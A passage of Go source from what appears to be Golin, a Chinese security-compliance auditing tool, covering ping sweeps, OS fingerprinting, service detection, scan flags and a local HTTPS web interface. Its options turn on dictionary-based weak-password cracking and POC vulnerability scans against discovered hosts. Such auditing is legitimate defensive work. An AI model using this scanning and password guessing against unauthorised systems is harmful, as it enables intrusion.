54 | fmt.Printf("[*] Linux设备:%v Windows设备:%v 未识别:%v 共计扫描:%v\n[*] 开始扫描端口:%v 最大并发数:%v 共计尝试:%v 端口连接超时:%v 端口扫描最大用时:%v \n",
55 | color.GreenString("%d", linuxcount),
56 | color.GreenString("%d", windowscount),
57 | color.RedString("%d", len(iplist)-linuxcount-windowscount),
58 | color.GreenString("%d", len(iplist)),
59 | color.GreenString("%d", len(portlist)),
60 | color.GreenString("%d", chancount),
61 | color.GreenString("%d", len(iplist)*len(portlist)),
62 | color.GreenString("%ds", Timeout),
63 | color.GreenString("%dm", Timeout),
64 | )
65 | fmt.Println("+------------------------------------------------------------+")
66 |
67 | }
68 |
69 | func SanPing() {
70 | pingch = make(chan struct{}, chancount)
71 | for _, ip := range iplist {
72 | pingch <- struct{}{}
73 | pingwg.Add(1)
74 | ip := ip
75 | go func() {
76 | defer func() {
77 | pingwg.Done()
78 | <-pingch
79 | }()
80 | yesPing, pingOS, timems := NetWorkPing(ip) //是否ping通、ttl值
81 | if !yesPing {
82 | outputMux.Lock()
83 | filteredIPList = append(filteredIPList, ip) //ping不通放入待删除切片中不进行检测
84 | outputMux.Unlock()
85 | } else {
86 | outputMux.Lock()
87 | fmt.Printf("|%-5s| %-15s|%-7s|%-4s|%sms\n", color.GreenString("%s", "存活主机"), ip, pingOS, isPublicIP(net.ParseIP(ip)), timems)
88 | switch pingOS {
89 | case "linux":
90 | linuxcount += 1
91 | case "Windows":
92 | windowscount += 1
93 | }
94 | outputMux.Unlock()
95 | }
96 | }()
97 | }
98 |
99 | }
100 |
101 | // NetWorkPing 检查ping 返回是否可ping通以及操作系统
102 | func NetWorkPing(ip string) (bool, string, string) {
103 | var cmd *exec.Cmd
104 | if runtime.GOOS == "windows" {
105 | cmd = exec.Command("ping", "-n", "2", "-w", "1", ip)
106 | }
107 | if runtime.GOOS == "darwin" {
108 | cmd = exec.Command("ping", "-c", "2", "-t", "1", ip)
109 | }
110 | if runtime.GOOS == "linux" {
111 | cmd = exec.Command("ping", "-c", "2", "-W", "1", ip)
112 | }
113 | output, err := cmd.Output()
114 | if err != nil {
115 | return false, "", ""
116 | }
117 | outttl := strings.ToLower(string(output)) //所有大写转换为小写
118 |
119 | // time
120 | re := regexp.MustCompile(`(\d+)\s?ms`)
121 | timems := ""
122 | timeStr := re.FindStringSubmatch(outttl)
123 | if len(timeStr) > 1 {
124 | inttime, _ := strconv.Atoi(timeStr[1])
125 | if inttime > 10 {
126 | timems = fmt.Sprintf("%s", color.RedString("%s", timeStr[1]))
127 | } else {
128 | timems = fmt.Sprintf("%s", color.GreenString("%s", timeStr[1]))
129 | }
130 | }
131 |
132 | if strings.Contains(outttl, "ttl") {
133 | // Extract TTL value
134 | re := regexp.MustCompile(`ttl=(\d+)`)
135 | ttlStr := re.FindStringSubmatch(outttl)
136 |
137 | if len(ttlStr) > 1 {
138 | ttl, _ := strconv.Atoi(ttlStr[1])
139 | switch {
140 | case ttl <= 64:
141 | return true, "linux", timems
142 | case ttl <= 128:
143 | return true, "Windows", timems
144 | default:
145 | return true, "Unknown", timems
146 | }
147 | }
148 | }
149 | return false, "", ""
150 | }
151 |
152 | // isPublicIP 检查是局域网还是互联网
153 | func isPublicIP(IP net.IP) string {
154 | private := "互联网"
155 | // 定义私有网络的范围
156 | privateNetworks := []string{
157 | "10.0.0.0/8", // 10.0.0.0 - 10.255.255.255
158 | "172.16.0.0/12", // 172.16.0.0 - 172.31.255.255
159 | "192.168.0.0/16", // 192.168.0.0 - 192.168.255.255
160 | }
161 |
162 | for _, privateNet := range privateNetworks {
163 | _, ipnet, _ := net.ParseCIDR(privateNet)
164 | if ipnet.Contains(IP) {
165 | private = "局域网"
166 | }
167 | }
168 |
169 | return private
170 | }
171 |
--------------------------------------------------------------------------------
/scan/protocol.go:
--------------------------------------------------------------------------------
1 | package scan
2 |
3 | import (
4 | "bufio"
5 | "fmt"
6 | Protocol2 "golin/Protocol"
7 | "net"
8 | "strings"
9 | "time"
10 | )
11 |
12 | // parseProtocol 协议/组件分析:有的基于默认端口去对应服务
13 | func parseProtocol(conn net.Conn, host, port string, Poc bool) string {
14 |
15 | if protocol, ok := portProtocols[port]; ok {
16 | return protocol
17 | }
18 |
19 | if err := conn.SetReadDeadline(time.Now().Add(time.Duration(Timeout) * time.Second)); err != nil {
20 | return ""
21 | }
22 | defer func(conn net.Conn) {
23 | _ = conn.Close()
24 | }(conn)
25 |
26 | reader := bufio.NewReader(conn)
27 | line, err := reader.ReadString('\n')
28 | if err != nil {
29 | line = ""
30 | }
31 | line = strings.ReplaceAll(line, "\n", "")
32 |
33 | switch {
34 | case Protocol2.IsSSHProtocol(line):
35 | return Protocol2.IsSSHProtocolApp(line)
36 |
37 | case strings.HasPrefix(line, "220"):
38 | return "FTP"
39 |
40 | case Protocol2.IsRedisProtocol(conn):
41 | return "数据库|Redis"
42 |
43 | case Protocol2.IsTelnet(conn):
44 | return "Telnet"
45 |
46 | case Protocol2.IsPgsqlProtocol(host, port):
47 | return "数据库|PostgreSQL"
48 |
49 | case Protocol2.IsRsyncProtocol(line):
50 | return "Rsync|" + line
51 |
52 | default:
53 | isWeb := Protocol2.IsWeb(host, port, Timeout, Poc)
54 | for _, v := range isWeb {
55 | if v != "" {
56 | return fmt.Sprintf("%-5s| %s", "WEB应用", v)
57 | }
58 | }
59 |
60 | }
61 |
62 | isMySQL, version := Protocol2.IsMySqlProtocol(host, port)
63 | if isMySQL {
64 | return fmt.Sprintf("数据库|MySQL:%s", version)
65 | }
66 |
67 | return defaultPort(port)
68 | }
69 |
70 | func defaultPort(port string) string {
71 | defMap := map[string]string{
72 | "3306": "数据库|MySQL",
73 | "23": "Telnet",
74 | "21": "FTP",
75 | "80": "WEB应用",
76 | "443": "WEB应用",
77 | "873": "Rsync",
78 | "5236": "数据库|达梦",
79 | "61616": "ActiveMQ",
80 | }
81 | value, exists := defMap[port]
82 | if exists {
83 | return value
84 | }
85 | return ""
86 | }
87 |
--------------------------------------------------------------------------------
/scan/run.go:
--------------------------------------------------------------------------------
1 | package scan
2 |
3 | import (
4 | "fmt"
5 | "github.com/spf13/cobra"
6 | "golin/global"
7 | "golin/scan/crack"
8 | "os"
9 | "sync"
10 | )
11 |
12 | var (
13 | port string //接受cli要扫描的端口
14 | iplist []string
15 | portlist []string
16 | NoPing bool //是否禁止ping监测
17 | Carck bool //是否进行弱口令扫描
18 | Poc bool //是否进行poc扫描
19 | ch = make(chan struct{}, 30) //控制并发数
20 | wg = sync.WaitGroup{}
21 | chancount int //并发数量
22 | Timeout int //超时等待时常
23 | Donetime int //端口扫描最大用时
24 | random bool //打乱顺序
25 | infolist []INFO //成功的主机列表
26 | allcount uint32 //IP*PORT的总数量
27 | donecount uint32 //线程技术的数量
28 | outputMux sync.Mutex
29 | userfile string //user字典路径
30 | passwdfile string //passwd字典路径
31 | webport bool //网站端口
32 | riskport bool //高危端口
33 | dbsport bool //数据库端口
34 | )
35 |
36 | type INFO struct {
37 | Host string //主机
38 | Port string //开放端口
39 | Protocol string //协议
40 | }
41 |
42 | func ParseFlags(cmd *cobra.Command, args []string) {
43 | ipFile, _ := cmd.Flags().GetString("ipfile") //读取文件
44 | parseFileIP(ipFile)
45 |
46 | fofa, _ := cmd.Flags().GetString("fofa") //读取fofa数据
47 | size, _ := cmd.Flags().GetInt("fofasize") //数据条数
48 | if size == 0 {
49 | size = 100
50 | }
51 | if fofa != "" {
52 | err := parseFoFa(fofa, fmt.Sprintf("%d", size))
53 | if err != nil {
54 | fmt.Println(err)
55 | os.Exit(0)
56 | }
57 | }
58 |
59 | ip, _ := cmd.Flags().GetString("ip")
60 | if ip == "" {
61 | if len(iplist) == 0 {
62 | conNETLocal() //当未指定IP以及IP文件时通过读取本地网卡并且过滤虚拟网卡进行扫描
63 | if len(iplist) == 0 {
64 | fmt.Printf("[-] 未指定扫描主机!\n")
65 | os.Exit(1)
66 | }
67 | }
68 | } else {
69 | parseIP(ip)
70 | }
71 |
72 | excludeiplist, _ := cmd.Flags().GetString("excludeip") //去重IP以及排查过滤IP
73 | removeIP(excludeiplist)
74 |
75 | port, _ = cmd.Flags().GetString("port")
76 | webport, _ = cmd.Flags().GetBool("web")
77 | riskport, _ = cmd.Flags().GetBool("risk")
78 | dbsport, _ = cmd.Flags().GetBool("dbs")
79 | parsePort(port)
80 |
81 | excludeport, _ := cmd.Flags().GetString("exclude") //去重端口以及排查过滤端口
82 | excludePort(excludeport)
83 |
84 | NoPing, _ = cmd.Flags().GetBool("noping")
85 |
86 | chancount, _ = cmd.Flags().GetInt("chan") //并发数量
87 | ch = make(chan struct{}, chancount)
88 |
89 | Timeout, _ = cmd.Flags().GetInt("time") //超时等待时常
90 |
91 | nocrack, _ := cmd.Flags().GetBool("nocrack") //弱口令扫描
92 | Carck = !nocrack
93 |
94 | nopoc, _ := cmd.Flags().GetBool("nopoc") //poc扫描
95 | Poc = !nopoc
96 |
97 | random, _ = cmd.Flags().GetBool("random") //打乱顺序
98 |
99 | imgsave, _ := cmd.Flags().GetBool("img") //保存网页截图
100 | global.SaveIMG = imgsave
101 |
102 | userfile, _ = cmd.Flags().GetString("userfile")
103 | passwdfile, _ = cmd.Flags().GetString("passwdfile")
104 | crack.Checkdistfile(userfile, passwdfile) //先读取是否有自定义的字典文件
105 |
106 | done, _ := cmd.Flags().GetInt("done") //超时等待时常
107 | Donetime = done
108 | scanPort(done)
109 |
110 | }
111 |
--------------------------------------------------------------------------------
/web/cert.go:
--------------------------------------------------------------------------------
1 | package web
2 |
3 | import (
4 | "crypto/rand"
5 | "crypto/rsa"
6 | "crypto/x509"
7 | "crypto/x509/pkix"
8 | "encoding/pem"
9 | "golin/global"
10 | "math/big"
11 | "os"
12 | "time"
13 | )
14 |
15 | func CreateCert() {
16 | priv, err := rsa.GenerateKey(rand.Reader, 2048)
17 | if err != nil {
18 | panic(err)
19 | }
20 |
21 | notBefore := time.Now()
22 | notAfter := notBefore.Add(365 * 24 * time.Hour)
23 |
24 | template := x509.Certificate{
25 | // 设置证书版本为 v3
26 | Version: 3,
27 | SerialNumber: big.NewInt(1),
28 | Subject: pkix.Name{
29 | Organization: []string{"高业尚"},
30 | CommonName: "Golin安全加密",
31 | },
32 | Issuer: pkix.Name{
33 | CommonName: "高业尚",
34 | },
35 | NotBefore: notBefore,
36 | NotAfter: notAfter,
37 | KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
38 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
39 | BasicConstraintsValid: true,
40 | IsCA: true,
41 | }
42 |
43 | derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)
44 | if err != nil {
45 | panic(err)
46 | }
47 |
48 | if !global.PathExists("cert") {
49 | os.Mkdir("cert", os.FileMode(global.FilePer))
50 | }
51 | certOut, err := os.Create("cert/cert.pem")
52 | if err != nil {
53 | panic(err)
54 | }
55 | defer certOut.Close()
56 |
57 | pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes})
58 |
59 | keyOut, err := os.Create("cert/key.pem")
60 | if err != nil {
61 | panic(err)
62 | }
63 | defer keyOut.Close()
64 |
65 | pkcs1PrivateKey := x509.MarshalPKCS1PrivateKey(priv)
66 | pem.Encode(keyOut, &pem.Block{Type: "RSA PRIVATE KEY", Bytes: pkcs1PrivateKey})
67 | }
68 |
--------------------------------------------------------------------------------
/web/execl.go:
--------------------------------------------------------------------------------
1 | package web
2 |
3 | import (
4 | "fmt"
5 | "github.com/xuri/excelize/v2"
6 | "golin/global"
7 | )
8 |
9 | // CreateTmpTxt 生成xlsx转txt文件
10 | func CreateTmpTxt(xlsx, txt string) bool {
11 | f, err := excelize.OpenFile(xlsx)
12 | if err != nil {
13 | fmt.Println(err)
14 | return false
15 | }
16 | defer f.Close()
17 | // 获取 Sheet1 上所有单元格
18 | rows, err := f.GetRows("Sheet1")
19 | if err != nil {
20 | fmt.Println(err)
21 | return false
22 | }
23 | for v, row := range rows {
24 | iplist := []string{}
25 | for _, colCell := range row {
26 | if v == 0 {
27 | continue
28 | }
29 | iplist = append(iplist, colCell)
30 | }
31 | if len(iplist) > 0 {
32 | err := global.AppendToFile(txt, fmt.Sprintf("%v~~%v~~%v~~%v~~%v\n", iplist[0], iplist[1], iplist[2], iplist[3], iplist[4]))
33 | if err != nil {
34 | return false
35 | }
36 | }
37 | }
38 |
39 | return true
40 |
41 | }
42 |
43 | // CreateTemplateXlsx 生成golin上传模板文件
44 | func CreateTemplateXlsx() bool {
45 | f := excelize.NewFile()
46 | defer f.Close()
47 | // 创建一个工作表
48 | index, err := f.NewSheet("Sheet1")
49 | if err != nil {
50 | fmt.Println(err)
51 | return false
52 | }
53 | // 设置单元格的值
54 | f.SetCellValue("Sheet1", "A1", "名称")
55 | f.SetCellValue("Sheet1", "B1", "IP")
56 | f.SetCellValue("Sheet1", "C1", "用户")
57 | f.SetCellValue("Sheet1", "D1", "密码")
58 | f.SetCellValue("Sheet1", "E1", "端口")
59 | // 设置工作簿的默认工作表
60 | f.SetActiveSheet(index)
61 | // 根据指定路径保存文件
62 | if err := f.SaveAs(global.XlsxTemplateName); err != nil {
63 | fmt.Println(err)
64 | return false
65 | }
66 | return true
67 | }
68 |
--------------------------------------------------------------------------------
/web/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/selinuxG/Golin/d52f8ee2adaff510076fb4cd984db2b73c03cb82/web/favicon.ico
--------------------------------------------------------------------------------
/web/history.go:
--------------------------------------------------------------------------------
1 | package web
2 |
3 | import (
4 | "bufio"
5 | "encoding/json"
6 | "fmt"
7 | "golin/global"
8 | "os"
9 | )
10 |
11 | type Service struct {
12 | Name string `json:"name"`
13 | Ip string `json:"ip"`
14 | User string `json:"user"`
15 | Port string `json:"port"`
16 | Type string `json:"type"`
17 | Time string `json:"time"`
18 | Status string `json:"status"`
19 | }
20 |
21 | const (
22 | Success = "成功"
23 | Failed = "失败"
24 | )
25 |
26 | // WriteJSONToHistory 将结构体切片转换为JSON并写入文件
27 | func WriteJSONToHistory(service Service) {
28 | data, _ := json.Marshal(service)
29 | writedata := string(data) + "\n"
30 | global.AppendToFile(global.Succwebpath, writedata)
31 | }
32 |
33 | func parseJSONFile() ([]Service, error) {
34 | file, err := os.Open(global.Succwebpath)
35 | if err != nil {
36 | return nil, err
37 | }
38 | defer file.Close()
39 |
40 | var services []Service
41 |
42 | scanner := bufio.NewScanner(file)
43 | for scanner.Scan() {
44 | line := scanner.Bytes()
45 | var service Service
46 | err := json.Unmarshal(line, &service)
47 | if err != nil {
48 | return nil, err
49 | }
50 | services = append(services, service)
51 | }
52 |
53 | if err := scanner.Err(); err != nil {
54 | return nil, err
55 | }
56 |
57 | return services, nil
58 | }
59 |
60 | // ReadJSONFromFile 文件中读取JSON并将其转换为结构体切片
61 | func ReadJSONFromFile() ([]Service, error) {
62 | data, err := os.ReadFile(global.Succwebpath)
63 | if err != nil {
64 | fmt.Println(err)
65 | return nil, err
66 | }
67 |
68 | var allserver []Service
69 | err = json.Unmarshal(data, &allserver)
70 | if err != nil {
71 | fmt.Println(err)
72 | return nil, err
73 | }
74 |
75 | return allserver, nil
76 | }
77 |
--------------------------------------------------------------------------------
/web/template/error.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | 提示信息
8 |
75 |
76 |
77 |
78 |
{{ .Status }}
79 |
{{ .Message }}
80 |
返回首页
81 |
82 |
83 |
--------------------------------------------------------------------------------
/web/template/golinHistoryIndex.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | 历史任务
8 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 | 序号 |
81 | 名称 |
82 | IP |
83 | 用户 |
84 | 端口 |
85 | 类型 |
86 | 时间 |
87 | 状态 |
88 |
89 |
90 |
91 | {{range .Data}}
92 |
93 | {{.Id}} |
94 | {{.Name}} |
95 | {{.IP}} |
96 | {{.User}} |
97 | {{.Port}} |
98 | {{.Mode}} |
99 | {{.Time}} |
100 | {{.Status}} |
101 |
102 | {{end}}
103 |
104 |
105 |
106 |
107 |
--------------------------------------------------------------------------------
/web/template/golinHome.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | Golin Web
9 |
82 |
101 |
102 |
103 |
104 |
105 |
Golin 网络安全等级保护核查工具
106 |
115 |
118 |
119 |
120 |
121 |
122 |
--------------------------------------------------------------------------------
/web/template/indexFile.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Golin自动化平台_多主机(高业尚:{{ .Version }})
7 |
73 |
74 |
75 |
95 |
99 |
100 |
--------------------------------------------------------------------------------
/web/web.go:
--------------------------------------------------------------------------------
1 | package web
2 |
3 | import (
4 | "embed"
5 | "fmt"
6 | "github.com/gin-gonic/gin"
7 | "github.com/spf13/cobra"
8 | "golin/global"
9 | "html/template"
10 | "net/http"
11 | "os/exec"
12 | "runtime"
13 | )
14 |
15 | var save bool
16 |
17 | //go:embed favicon.ico
18 | var faviconFS embed.FS
19 |
20 | //go:embed template/*
21 | var f embed.FS
22 |
23 | func Start(cmd *cobra.Command, args []string) {
24 |
25 | if !global.PathExists("cert/cert.pem") || !global.PathExists("cert/cert.key") {
26 | CreateCert()
27 | }
28 |
29 | ip, _ := cmd.Flags().GetString("ip")
30 | port, _ := cmd.Flags().GetString("port")
31 | save, _ = cmd.Flags().GetBool("save")
32 | r := gin.Default()
33 | tmpl := template.Must(template.New("").ParseFS(f, "template/*"))
34 | r.SetHTMLTemplate(tmpl)
35 | r.Use(func(c *gin.Context) {
36 | c.Header("author", "gaoyeshang")
37 | c.Header("VX", "SelinuxG")
38 | c.Next()
39 | })
40 | r.NoRoute(func(c *gin.Context) {
41 | GolinErrorhtml("404", "sorry~请求不存在哦!", c)
42 | })
43 | r.GET("/favicon.ico", faviconHandler) //路由图标
44 | r.GET("/", func(c *gin.Context) {
45 | c.Redirect(302, "/golin/gys")
46 | })
47 |
48 | golin := r.Group("/golin")
49 | {
50 | golin.GET("/gys", GolinHome) //首页
51 | golin.GET("/index", GolinIndex) //单主机index
52 | golin.GET("/indexfile", GolinIndexFile) //多主机index
53 | golin.GET("/modefile", GolinMondeFileGet) //返回模板文件
54 | golin.POST("/submit", GolinSubmit) //提交单主机任务
55 | golin.POST("/submitfile", GolinSubmitFile) //提交多主机任务
56 | golin.GET("/history", GolinHistory) //历史记录
57 | golin.GET("/update", GolinUpdate) //检查更新
58 | golin.GET("/dj", GolinDj) //模拟定级首页
59 | }
60 | // Windows、Mac下在默认浏览器中打开网页
61 | go func() {
62 | if runtime.GOOS == "windows" {
63 | cmd := exec.Command("cmd", "/C", fmt.Sprintf("start https://%s:%s/golin/gys", ip, port))
64 | err := cmd.Run()
65 | if err != nil {
66 | fmt.Println("Error opening the browser:", err)
67 | }
68 | }
69 | if runtime.GOOS == "darwin" {
70 | cmd := exec.Command("open", fmt.Sprintf("https://%s:%s/golin/gys", ip, port))
71 | err := cmd.Run()
72 | if err != nil {
73 | fmt.Println("Error opening the browser:", err)
74 | }
75 | }
76 | }()
77 | // 启动gin
78 | r.RunTLS(ip+":"+port, "cert/cert.pem", "cert/key.pem")
79 | }
80 |
81 | func faviconHandler(c *gin.Context) {
82 | c.FileFromFS("favicon.ico", http.FS(faviconFS))
83 | }
84 |
--------------------------------------------------------------------------------
/web/zip.go:
--------------------------------------------------------------------------------
1 | package web
2 |
3 | import (
4 | "archive/zip"
5 | "fmt"
6 | "io"
7 | "os"
8 | "path/filepath"
9 | )
10 |
11 | // CreateZipFromFiles 将文件路径切片中的文件压缩成一个名为saveName的zip包
12 | func CreateZipFromFiles(filePaths []string, saveName string) error {
13 | // 创建保存的zip文件
14 | zipFile, err := os.Create(saveName)
15 | if err != nil {
16 | return fmt.Errorf("创建zip文件失败: %v", err)
17 | }
18 | defer zipFile.Close()
19 |
20 | // 创建zip.Writer,它将向zip文件写入内容
21 | zipWriter := zip.NewWriter(zipFile)
22 | defer zipWriter.Close()
23 |
24 | // 遍历文件路径切片
25 | for _, filePath := range filePaths {
26 | if err = addFileToZip(filePath, zipWriter); err != nil {
27 | return fmt.Errorf("添加文件到zip失败: %v", err)
28 | }
29 | }
30 | return nil
31 | }
32 |
33 | // addFileToZip 向zip包中添加文件
34 | func addFileToZip(filePath string, zipWriter *zip.Writer) error {
35 | // 打开待压缩文件
36 | file, err := os.Open(filePath)
37 | if err != nil {
38 | return err
39 | }
40 | defer file.Close()
41 |
42 | // 获取文件信息
43 | info, err := file.Stat()
44 | if err != nil {
45 | return err
46 | }
47 |
48 | header, err := zip.FileInfoHeader(info)
49 | if err != nil {
50 | return err
51 | }
52 |
53 | header.Name = filepath.Base(filePath)
54 | header.Method = zip.Deflate
55 |
56 | writer, err := zipWriter.CreateHeader(header)
57 | if err != nil {
58 | return err
59 | }
60 |
61 | _, err = io.Copy(writer, file)
62 | return err
63 | }
64 |
--------------------------------------------------------------------------------